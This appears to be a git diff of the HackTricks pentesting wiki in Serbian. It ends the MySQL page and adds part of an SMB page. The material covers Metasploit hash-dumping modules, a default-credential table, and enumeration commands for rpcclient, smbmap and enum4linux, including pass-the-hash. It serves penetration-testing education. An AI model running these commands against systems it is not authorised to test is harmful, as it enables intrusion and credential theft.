user\_summary\_by\_file\_io\_type
|
||||||
|
|
||||||
|
## user\_summary\_by\_stages
|
||||||
|
|
||||||
|
user\_summary\_by\_stages
|
||||||
|
|
||||||
|
## user\_summary\_by\_statement\_latency
|
||||||
|
|
||||||
|
user\_summary\_by\_statement\_latency
|
||||||
|
|
||||||
|
## user\_summary\_by\_statement\_type
|
||||||
|
|
||||||
|
user\_summary\_by\_statement\_type
|
||||||
|
|
||||||
|
## version
|
||||||
|
|
||||||
# version
|
|
||||||
version
|
version
|
||||||
|
|
||||||
# wait_classes_global_by_avg_latency
|
## wait\_classes\_global\_by\_avg\_latency
|
||||||
wait_classes_global_by_avg_latency
|
|
||||||
|
|
||||||
# wait_classes_global_by_latency
|
wait\_classes\_global\_by\_avg\_latency
|
||||||
wait_classes_global_by_latency
|
|
||||||
|
|
||||||
# waits_by_host_by_latency
|
## wait\_classes\_global\_by\_latency
|
||||||
waits_by_host_by_latency
|
|
||||||
|
|
||||||
# waits_by_user_by_latency
|
wait\_classes\_global\_by\_latency
|
||||||
waits_by_user_by_latency
|
|
||||||
|
|
||||||
# waits_global_by_latency
|
## waits\_by\_host\_by\_latency
|
||||||
waits_global_by_latency
|
|
||||||
|
|
||||||
# x$host_summary
|
waits\_by\_host\_by\_latency
|
||||||
x$host_summary
|
|
||||||
|
|
||||||
# x$host_summary_by_file_io
|
## waits\_by\_user\_by\_latency
|
||||||
x$host_summary_by_file_io
|
|
||||||
|
|
||||||
# x$host_summary_by_file_io_type
|
waits\_by\_user\_by\_latency
|
||||||
x$host_summary_by_file_io_type
|
|
||||||
|
|
||||||
# x$host_summary_by_stages
|
## waits\_global\_by\_latency
|
||||||
x$host_summary_by_stages
|
|
||||||
|
|
||||||
# x$host_summary_by_statement_latency
|
waits\_global\_by\_latency
|
||||||
x$host_summary_by_statement_latency
|
|
||||||
|
|
||||||
# x$host_summary_by_statement_type
|
## x$host\_summary
|
||||||
x$host_summary_by_statement_type
|
|
||||||
|
|
||||||
# x$innodb_buffer_stats_by_schema
|
x$host\_summary
|
||||||
x$innodb_buffer_stats_by_schema
|
|
||||||
|
|
||||||
# x$innodb_buffer_stats_by_table
|
## x$host\_summary\_by\_file\_io
|
||||||
x$innodb_buffer_stats_by_table
|
|
||||||
|
|
||||||
# x$innodb_lock_waits
|
x$host\_summary\_by\_file\_io
|
||||||
x$innodb_lock_waits
|
|
||||||
|
|
||||||
# x$io_by_thread_by_latency
|
## x$host\_summary\_by\_file\_io\_type
|
||||||
x$io_by_thread_by_latency
|
|
||||||
|
|
||||||
# x$io_global_by_file_by_bytes
|
x$host\_summary\_by\_file\_io\_type
|
||||||
x$io_global_by_file_by_bytes
|
|
||||||
|
|
||||||
# x$io_global_by_file_by_latency
|
## x$host\_summary\_by\_stages
|
||||||
x$io_global_by_file_by_latency
|
|
||||||
|
|
||||||
# x$io_global_by_wait_by_bytes
|
x$host\_summary\_by\_stages
|
||||||
x$io_global_by_wait_by_bytes
|
|
||||||
|
|
||||||
# x$io_global_by_wait_by_latency
|
## x$host\_summary\_by\_statement\_latency
|
||||||
x$io_global_by_wait_by_latency
|
|
||||||
|
|
||||||
# x$latest_file_io
|
x$host\_summary\_by\_statement\_latency
|
||||||
x$latest_file_io
|
|
||||||
|
|
||||||
# x$memory_by_host_by_current_bytes
|
## x$host\_summary\_by\_statement\_type
|
||||||
x$memory_by_host_by_current_bytes
|
|
||||||
|
|
||||||
# x$memory_by_thread_by_current_bytes
|
x$host\_summary\_by\_statement\_type
|
||||||
x$memory_by_thread_by_current_bytes
|
|
||||||
|
|
||||||
# x$memory_by_user_by_current_bytes
|
## x$innodb\_buffer\_stats\_by\_schema
|
||||||
x$memory_by_user_by_current_bytes
|
|
||||||
|
|
||||||
# x$memory_global_by_current_bytes
|
x$innodb\_buffer\_stats\_by\_schema
|
||||||
x$memory_global_by_current_bytes
|
|
||||||
|
|
||||||
# x$memory_global_total
|
## x$innodb\_buffer\_stats\_by\_table
|
||||||
x$memory_global_total
|
|
||||||
|
x$innodb\_buffer\_stats\_by\_table
|
||||||
|
|
||||||
|
## x$innodb\_lock\_waits
|
||||||
|
|
||||||
|
x$innodb\_lock\_waits
|
||||||
|
|
||||||
|
## x$io\_by\_thread\_by\_latency
|
||||||
|
|
||||||
|
x$io\_by\_thread\_by\_latency
|
||||||
|
|
||||||
|
## x$io\_global\_by\_file\_by\_bytes
|
||||||
|
|
||||||
|
x$io\_global\_by\_file\_by\_bytes
|
||||||
|
|
||||||
|
## x$io\_global\_by\_file\_by\_latency
|
||||||
|
|
||||||
|
x$io\_global\_by\_file\_by\_latency
|
||||||
|
|
||||||
|
## x$io\_global\_by\_wait\_by\_bytes
|
||||||
|
|
||||||
|
x$io\_global\_by\_wait\_by\_bytes
|
||||||
|
|
||||||
|
## x$io\_global\_by\_wait\_by\_latency
|
||||||
|
|
||||||
|
x$io\_global\_by\_wait\_by\_latency
|
||||||
|
|
||||||
|
## x$latest\_file\_io
|
||||||
|
|
||||||
|
x$latest\_file\_io
|
||||||
|
|
||||||
|
## x$memory\_by\_host\_by\_current\_bytes
|
||||||
|
|
||||||
|
x$memory\_by\_host\_by\_current\_bytes
|
||||||
|
|
||||||
|
## x$memory\_by\_thread\_by\_current\_bytes
|
||||||
|
|
||||||
|
x$memory\_by\_thread\_by\_current\_bytes
|
||||||
|
|
||||||
|
## x$memory\_by\_user\_by\_current\_bytes
|
||||||
|
|
||||||
|
x$memory\_by\_user\_by\_current\_bytes
|
||||||
|
|
||||||
|
## x$memory\_global\_by\_current\_bytes
|
||||||
|
|
||||||
|
x$memory\_global\_by\_current\_bytes
|
||||||
|
|
||||||
|
## x$memory\_global\_total
|
||||||
|
|
||||||
|
x$memory\_global\_total
|
||||||
|
|
||||||
|
## x$processlist
|
||||||
|
|
||||||
# x$processlist
|
|
||||||
x$processlist
|
x$processlist
|
||||||
|
|
||||||
# x$ps_digest_95th_percentile_by_avg_us
|
## x$ps\_digest\_95th\_percentile\_by\_avg\_us
|
||||||
x$ps_digest_95th_percentile_by_avg_us
|
|
||||||
|
|
||||||
# x$ps_digest_avg_latency_distribution
|
x$ps\_digest\_95th\_percentile\_by\_avg\_us
|
||||||
x$ps_digest_avg_latency_distribution
|
|
||||||
|
|
||||||
# x$ps_schema_table_statistics_io
|
## x$ps\_digest\_avg\_latency\_distribution
|
||||||
x$ps_schema_table_statistics_io
|
|
||||||
|
|
||||||
# x$schema_flattened_keys
|
x$ps\_digest\_avg\_latency\_distribution
|
||||||
x$schema_flattened_keys
|
|
||||||
|
|
||||||
# x$schema_index_statistics
|
## x$ps\_schema\_table\_statistics\_io
|
||||||
x$schema_index_statistics
|
|
||||||
|
|
||||||
# x$schema_table_lock_waits
|
x$ps\_schema\_table\_statistics\_io
|
||||||
x$schema_table_lock_waits
|
|
||||||
|
|
||||||
# x$schema_table_statistics
|
## x$schema\_flattened\_keys
|
||||||
x$schema_table_statistics
|
|
||||||
|
|
||||||
# x$schema_table_statistics_with_buffer
|
x$schema\_flattened\_keys
|
||||||
x$schema_table_statistics_with_buffer
|
|
||||||
|
|
||||||
# x$schema_tables_with_full_table_scans
|
## x$schema\_index\_statistics
|
||||||
x$schema_tables_with_full_table_scans
|
|
||||||
|
x$schema\_index\_statistics
|
||||||
|
|
||||||
|
## x$schema\_table\_lock\_waits
|
||||||
|
|
||||||
|
x$schema\_table\_lock\_waits
|
||||||
|
|
||||||
|
## x$schema\_table\_statistics
|
||||||
|
|
||||||
|
x$schema\_table\_statistics
|
||||||
|
|
||||||
|
## x$schema\_table\_statistics\_with\_buffer
|
||||||
|
|
||||||
|
x$schema\_table\_statistics\_with\_buffer
|
||||||
|
|
||||||
|
## x$schema\_tables\_with\_full\_table\_scans
|
||||||
|
|
||||||
|
x$schema\_tables\_with\_full\_table\_scans
|
||||||
|
|
||||||
|
## x$session
|
||||||
|
|
||||||
# x$session
|
|
||||||
x$session
|
x$session
|
||||||
|
|
||||||
# x$statement_analysis
|
## x$statement\_analysis
|
||||||
x$statement_analysis
|
|
||||||
|
|
||||||
# x$statements_with_errors_or_warnings
|
x$statement\_analysis
|
||||||
x$statements_with_errors_or_warnings
|
|
||||||
|
|
||||||
# x$statements_with_full_table_scans
|
## x$statements\_with\_errors\_or\_warnings
|
||||||
x$statements_with_full_table_scans
|
|
||||||
|
|
||||||
# x$statements_with_runtimes_in_95th_percentile
|
x$statements\_with\_errors\_or\_warnings
|
||||||
x$statements_with_runtimes_in_95th_percentile
|
|
||||||
|
|
||||||
# x$statements_with_sorting
|
## x$statements\_with\_full\_table\_scans
|
||||||
x$statements_with_sorting
|
|
||||||
|
|
||||||
# x$statements_with_temp_tables
|
x$statements\_with\_full\_table\_scans
|
||||||
x$statements_with_temp_tables
|
|
||||||
|
|
||||||
# x$user_summary
|
## x$statements\_with\_runtimes\_in\_95th\_percentile
|
||||||
x$user_summary
|
|
||||||
|
|
||||||
# x$user_summary_by_file_io
|
x$statements\_with\_runtimes\_in\_95th\_percentile
|
||||||
x$user_summary_by_file_io
|
|
||||||
|
|
||||||
# x$user_summary_by_file_io_type
|
## x$statements\_with\_sorting
|
||||||
x$user_summary_by_file_io_type
|
|
||||||
|
|
||||||
# x$user_summary_by_stages
|
x$statements\_with\_sorting
|
||||||
x$user_summary_by_stages
|
|
||||||
|
|
||||||
# x$user_summary_by_statement_latency
|
## x$statements\_with\_temp\_tables
|
||||||
x$user_summary_by_statement_latency
|
|
||||||
|
|
||||||
# x$user_summary_by_statement_type
|
x$statements\_with\_temp\_tables
|
||||||
x$user_summary_by_statement_type
|
|
||||||
|
|
||||||
# x$wait_classes_global_by_avg_latency
|
## x$user\_summary
|
||||||
x$wait_classes_global_by_avg_latency
|
|
||||||
|
|
||||||
# x$wait_classes_global_by_latency
|
x$user\_summary
|
||||||
x$wait_classes_global_by_latency
|
|
||||||
|
|
||||||
# x$waits_by_host_by_latency
|
## x$user\_summary\_by\_file\_io
|
||||||
x$waits_by_host_by_latency
|
|
||||||
|
|
||||||
# x$waits_by_user_by_latency
|
x$user\_summary\_by\_file\_io
|
||||||
x$waits_by_user_by_latency
|
|
||||||
|
## x$user\_summary\_by\_file\_io\_type
|
||||||
|
|
||||||
|
x$user\_summary\_by\_file\_io\_type
|
||||||
|
|
||||||
|
## x$user\_summary\_by\_stages
|
||||||
|
|
||||||
|
x$user\_summary\_by\_stages
|
||||||
|
|
||||||
|
## x$user\_summary\_by\_statement\_latency
|
||||||
|
|
||||||
|
x$user\_summary\_by\_statement\_latency
|
||||||
|
|
||||||
|
## x$user\_summary\_by\_statement\_type
|
||||||
|
|
||||||
|
x$user\_summary\_by\_statement\_type
|
||||||
|
|
||||||
|
## x$wait\_classes\_global\_by\_avg\_latency
|
||||||
|
|
||||||
|
x$wait\_classes\_global\_by\_avg\_latency
|
||||||
|
|
||||||
|
## x$wait\_classes\_global\_by\_latency
|
||||||
|
|
||||||
|
x$wait\_classes\_global\_by\_latency
|
||||||
|
|
||||||
|
## x$waits\_by\_host\_by\_latency
|
||||||
|
|
||||||
|
x$waits\_by\_host\_by\_latency
|
||||||
|
|
||||||
|
## x$waits\_by\_user\_by\_latency
|
||||||
|
|
||||||
|
x$waits\_by\_user\_by\_latency
|
||||||
|
|
||||||
|
## x$waits\_global\_by\_latency
|
||||||
|
|
||||||
|
x$waits\_global\_by\_latency
|
||||||
|
|
||||||
# x$waits_global_by_latency
|
|
||||||
x$waits_global_by_latency
|
|
||||||
```
|
```
|
||||||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 3306 #Comma separated if there is more than one.
|
Port_Number: 3306 #Comma separated if there is more than one.
|
||||||
|
@ -935,6 +1021,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u vezi sa kibernetičkom bezbednošću u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto susreta tehnoloških i kibernetičkih stručnjaka u svakoj disciplini.
|
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u vezi sa kibernetičkom bezbednošću u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto susreta tehnoloških i kibernetičkih stručnjaka u svakoj disciplini.
|
||||||
|
@ -950,7 +1037,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
608
network-services-pentesting/pentesting-smb/README.md
Normal file
608
network-services-pentesting/pentesting-smb/README.md
Normal file
|
@ -0,0 +1,608 @@
|
||||||
|
# 139,445 - Pentesting SMB
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## **Port 139**
|
||||||
|
|
||||||
|
_**Network Basic Input Output System (NetBIOS)**_ je softverski protokol dizajniran da omogući aplikacijama, računarima i desktop računarima unutar lokalne mreže (LAN) da interaguju sa mrežnom opremom i **olakšaju prenos podataka preko mreže**. Identifikacija i lokacija softverskih aplikacija koje rade na NetBIOS mreži postiže se putem njihovih NetBIOS imena, koja mogu biti do 16 karaktera i često su različita od imena računara. NetBIOS sesija između dve aplikacije se inicira kada jedna aplikacija (kao klijent) izda komandu da "pozove" drugu aplikaciju (kao server) koristeći **TCP Port 139**.
|
||||||
|
|
||||||
|
```
|
||||||
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
|
```
|
||||||
|
|
||||||
|
## Port 445
|
||||||
|
|
||||||
|
Tehnički, Port 139 se naziva 'NBT preko IP-a', dok se Port 445 identifikuje kao 'SMB preko IP-a'. Akronim **SMB** označava '**Server Message Blocks**', koji je takođe poznat kao **Common Internet File System (CIFS)**. Kao protokol mrežnog sloja aplikacije, SMB/CIFS se uglavnom koristi za omogućavanje deljenog pristupa datotekama, štampačima, serijskim portovima, i olakšavanje različitih oblika komunikacije između čvorova na mreži.
|
||||||
|
|
||||||
|
Na primer, u kontekstu Windows-a, ističe se da SMB može direktno raditi preko TCP/IP-a, eliminišući potrebu za NetBIOS-om preko TCP/IP-a, kroz korišćenje porta 445. Nasuprot tome, na različitim sistemima, primećuje se korišćenje porta 139, što ukazuje da se SMB izvršava u saradnji sa NetBIOS-om preko TCP/IP-a.
|
||||||
|
|
||||||
|
```
|
||||||
|
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||||
|
```
|
||||||
|
|
||||||
|
### SMB
|
||||||
|
|
||||||
|
**Server Message Block (SMB)** protokol, koji radi u **klijent-server** modelu, namenjen je za regulisanje **pristupa fajlovima**, direktorijumima i drugim mrežnim resursima poput štampača i rutera. Prvenstveno se koristi u seriji operativnih sistema **Windows**, SMB osigurava kompatibilnost unazad, omogućavajući uređajima sa novijim verzijama Microsoft-ovog operativnog sistema da se bez problema povežu sa onima koji koriste starije verzije. Dodatno, projekat **Samba** nudi besplatno softversko rešenje, omogućavajući implementaciju SMB-a na **Linux** i Unix sistemima, olakšavajući komunikaciju između platformi putem SMB-a.
|
||||||
|
|
||||||
|
Deljenja, koja predstavljaju **proizvoljne delove lokalnog fajl sistema**, mogu biti obezbeđena od strane SMB servera, čineći hijerarhiju vidljivom klijentu delimično **nezavisnom** od stvarne strukture servera. **Access Control Lists (ACLs)**, koje definišu **prava pristupa**, omogućavaju **detaljnu kontrolu** nad korisničkim dozvolama, uključujući atribute poput **`izvrši`**, **`čitaj`** i **`puna pristupa`**. Ova prava mogu biti dodeljena pojedinačnim korisnicima ili grupama, zasnovanim na deljenjima, i razlikuju se od lokalnih dozvola postavljenih na serveru.
|
||||||
|
|
||||||
|
### IPC$ Deljenje
|
||||||
|
|
||||||
|
Pristup deljenju IPC$ može se dobiti putem anonimne nule sesije, omogućavajući interakciju sa uslugama izloženim putem imenovanih cevi. Alat `enum4linux` je koristan u tu svrhu. Pravilno korišćen, omogućava dobijanje:
|
||||||
|
|
||||||
|
* Informacija o operativnom sistemu
|
||||||
|
* Detalja o nadređenom domenu
|
||||||
|
* Kompilaciju lokalnih korisnika i grupa
|
||||||
|
* Informacija o dostupnim SMB deljenjima
|
||||||
|
* Efikasnu politiku sistema bezbednosti
|
||||||
|
|
||||||
|
Ova funkcionalnost je ključna za mrežne administratore i bezbednosne stručnjake kako bi procenili bezbednosni položaj SMB (Server Message Block) usluga na mreži. `enum4linux` pruža sveobuhvatan pregled SMB okruženja ciljnog sistema, što je ključno za identifikaciju potencijalnih ranjivosti i osiguravanje da su SMB usluge pravilno zaštićene.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
enum4linux -a target_ip
|
||||||
|
```
|
||||||
|
|
||||||
|
Gornja komanda je primer kako se `enum4linux` može koristiti za izvođenje potpune enumeracije protiv cilja navedenog u `target_ip`.
|
||||||
|
|
||||||
|
## Šta je NTLM
|
||||||
|
|
||||||
|
Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako se može zloupotrebiti, naći ćete veoma interesantnu ovu stranicu o **NTLM** gde je objašnjeno **kako ovaj protokol funkcioniše i kako možete iskoristiti to:**
|
||||||
|
|
||||||
|
{% content-ref url="../../windows-hardening/ntlm/" %}
|
||||||
|
[ntlm](../../windows-hardening/ntlm/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## **Enumeracija servera**
|
||||||
|
|
||||||
|
### **Skeniranje** mreže u potrazi za hostovima:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nbtscan -r 192.168.0.1/24
|
||||||
|
```
|
||||||
|
|
||||||
|
### Verzija SMB servera
|
||||||
|
|
||||||
|
Da biste pronašli moguće eksploate za SMB verziju, važno je znati koja verzija se koristi. Ako ove informacije ne postoje u drugim korišćenim alatima, možete:
|
||||||
|
|
||||||
|
* Koristiti **MSF** pomoćni modul \_**auxiliary/scanner/smb/smb\_version**
|
||||||
|
* Ili ovaj skript:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#!/bin/sh
|
||||||
|
#Author: rewardone
|
||||||
|
#Description:
|
||||||
|
# Requires root or enough permissions to use tcpdump
|
||||||
|
# Will listen for the first 7 packets of a null login
|
||||||
|
# and grab the SMB Version
|
||||||
|
#Notes:
|
||||||
|
# Will sometimes not capture or will print multiple
|
||||||
|
# lines. May need to run a second time for success.
|
||||||
|
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||||||
|
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||||||
|
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||||||
|
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||||
|
echo "" && sleep .1
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Pretraga eksploatacije**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
msf> search type:exploit platform:windows target:2008 smb
|
||||||
|
searchsploit microsoft smb
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Mogući** Kredencijali
|
||||||
|
|
||||||
|
| **Korisničko ime(i)** | **Česta lozinke** |
|
||||||
|
| --------------------- | ------------------------------------------ |
|
||||||
|
| _(prazno)_ | _(prazno)_ |
|
||||||
|
| gost | _(prazno)_ |
|
||||||
|
| Administrator, admin | _(prazno)_, password, administrator, admin |
|
||||||
|
| arcserve | arcserve, backup |
|
||||||
|
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||||
|
| backupexec, backup | backupexec, backup, arcada |
|
||||||
|
| test, lab, demo | password, test, lab, demo |
|
||||||
|
|
||||||
|
### Napad Brutom Forcom
|
||||||
|
|
||||||
|
* [**SMB Napad Brutom Forcom**](../../generic-methodologies-and-resources/brute-force.md#smb)
|
||||||
|
|
||||||
|
### Informacije o SMB Okruženju
|
||||||
|
|
||||||
|
### Dobijanje Informacija
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Dump interesting information
|
||||||
|
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||||
|
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||||||
|
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||||||
|
|
||||||
|
#Connect to the rpc
|
||||||
|
rpcclient -U "" -N <IP> #No creds
|
||||||
|
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||||||
|
rpcclient -U "username%passwd" <IP> #With creds
|
||||||
|
#You can use querydispinfo and enumdomusers to query user information
|
||||||
|
|
||||||
|
#Dump user information
|
||||||
|
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
|
||||||
|
#Map possible RPC endpoints
|
||||||
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Nabrojavanje Korisnika, Grupa i Prijavljenih Korisnika
|
||||||
|
|
||||||
|
Ove informacije već bi trebalo da budu prikupljene pomoću enum4linux i enum4linux-ng
|
||||||
|
|
||||||
|
```bash
|
||||||
|
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||||
|
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||||
|
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||||||
|
|
||||||
|
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||||||
|
|
||||||
|
rpcclient -U "" -N 10.10.10.10
|
||||||
|
enumdomusers
|
||||||
|
enumdomgroups
|
||||||
|
```
|
||||||
|
|
||||||
|
### Nabrojavanje lokalnih korisnika
|
||||||
|
|
||||||
|
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
lookupsid.py -no-pass hostname.local
|
||||||
|
```
|
||||||
|
|
||||||
|
Jednolinijski
|
||||||
|
|
||||||
|
```bash
|
||||||
|
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||||
|
```
|
||||||
|
|
||||||
|
### Metasploit - Nabrojavanje lokalnih korisnika
|
||||||
|
|
||||||
|
```bash
|
||||||
|
use auxiliary/scanner/smb/smb_lookupsid
|
||||||
|
set rhosts hostname.local
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Enumerisanje LSARPC i SAMR rpcclient**
|
||||||
|
|
||||||
|
{% content-ref url="rpcclient-enumeration.md" %}
|
||||||
|
[rpcclient-enumeration.md](rpcclient-enumeration.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### GUI konekcija sa linuxa
|
||||||
|
|
||||||
|
#### U terminalu:
|
||||||
|
|
||||||
|
`xdg-open smb://cascade.htb/`
|
||||||
|
|
||||||
|
#### U prozoru pregledača fajlova (nautilus, thunar, itd)
|
||||||
|
|
||||||
|
`smb://friendzone.htb/general/`
|
||||||
|
|
||||||
|
## Enumeracija deljenih foldera
|
||||||
|
|
||||||
|
### Lista deljenih foldera
|
||||||
|
|
||||||
|
Uvek je preporučljivo proveriti da li možete pristupiti bilo čemu, ako nemate pristupne podatke, pokušajte koristiti **null** **pristupne podatke/gost korisnika**.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
smbclient --no-pass -L //<IP> # Null user
|
||||||
|
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||||
|
|
||||||
|
smbmap -H <IP> [-P <PORT>] #Null user
|
||||||
|
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||||
|
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||||
|
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||||
|
|
||||||
|
